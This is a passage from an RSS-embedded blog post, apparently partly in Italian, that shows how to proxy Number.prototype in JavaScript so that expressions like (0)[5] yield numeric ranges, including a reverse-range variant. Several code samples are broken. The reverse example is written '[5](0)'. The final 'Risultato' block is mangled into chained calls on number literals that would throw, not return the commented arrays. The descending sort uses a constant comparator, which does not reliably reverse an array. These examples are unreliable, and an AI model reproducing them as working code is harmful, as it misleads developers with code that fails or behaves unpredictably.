			// _end -&amp;gt; &apos;182&apos; (typeof string)
			// start -&amp;gt; 42 (typeof number)
		}
	})
)(42)[182];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is sufficient to use &lt;code&gt;parseInt&lt;/code&gt; and, if it still &lt;code&gt;isNaN&lt;/code&gt; just throw an error/warning. Or just ignore it silently and fallback by returning &lt;code&gt;start&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;let end = parseInt(_end);
if (isNaN(end)) {
	// warning or error
	// eventually, fallback
	return start;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Assured that the &lt;code&gt;typeof end&lt;/code&gt; is also &lt;code&gt;number&lt;/code&gt;, you can proceed to generate the &lt;strong&gt;range&lt;/strong&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;return Array(end - start + 1)
	.fill()
	.map((_, i) =&amp;gt; start + i);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Basic functionality is complete. Now the following code is perfectly valid.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(0)[5]; // [0, 1, 2, 3, 4, 5]
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;To make it not-end-inclusive, use
&lt;code&gt;Array(end - start)&lt;/code&gt; instead of &lt;code&gt;Array(end - start + 1)&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;Reverse range&lt;/h2&gt;
&lt;p&gt;To be able to do something like the following...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[5](0); // [5, 4, 3, 2, 1, 0]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Check if &lt;code&gt;start &amp;gt; end&lt;/code&gt; and if so &lt;strong&gt;swap&lt;/strong&gt; both. Don&apos;t forget to sort the result in descending order.&lt;/p&gt;
&lt;p&gt;The code is self-explanatory.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Object.setPrototypeOf(
	Number.prototype,
	new Proxy(Number.prototype, {
		get(_, _end, start) {
			// where (start)[_end]

			let end = parseInt(_end);
			if (isNaN(end)) {
				// warning or error
				// eventually, fallback
				return start;
			}

			// sort behaviour - default ASC
			let s = +1;

			if (start &amp;gt; end) {
				// swap
				let tmp = start;
				start = end;
				end = tmp;

				// sort behaviour - DESC
				s = -1;
			}

			// generate range
			return Array(end - start + 1)
				.fill()
				.map((_, i) =&amp;gt; start + i)
				.sort(() =&amp;gt; s);
		}
	})
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Risultato&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;42(
	// 42
	0
)[5](
	// [0, 1, 2, 3, 4, 5]
	0
)[&apos;foo&apos;](
	// #fallback -&amp;gt; 0
	3
)[7](
	// [3, 4, 5, 6, 7]
	8
)[3]; // [8, 7, 6, 5, 4, 3]
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Couldn&apos;t I have done the same thing with a range function?&lt;/strong&gt;
Yes, probably &lt;em&gt;you should&lt;/em&gt; do it with a function.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Let this be a mental exercise and a way of making friends with the concept of prototype and proxy.&lt;/p&gt;
</content:encoded></item></channel></rss>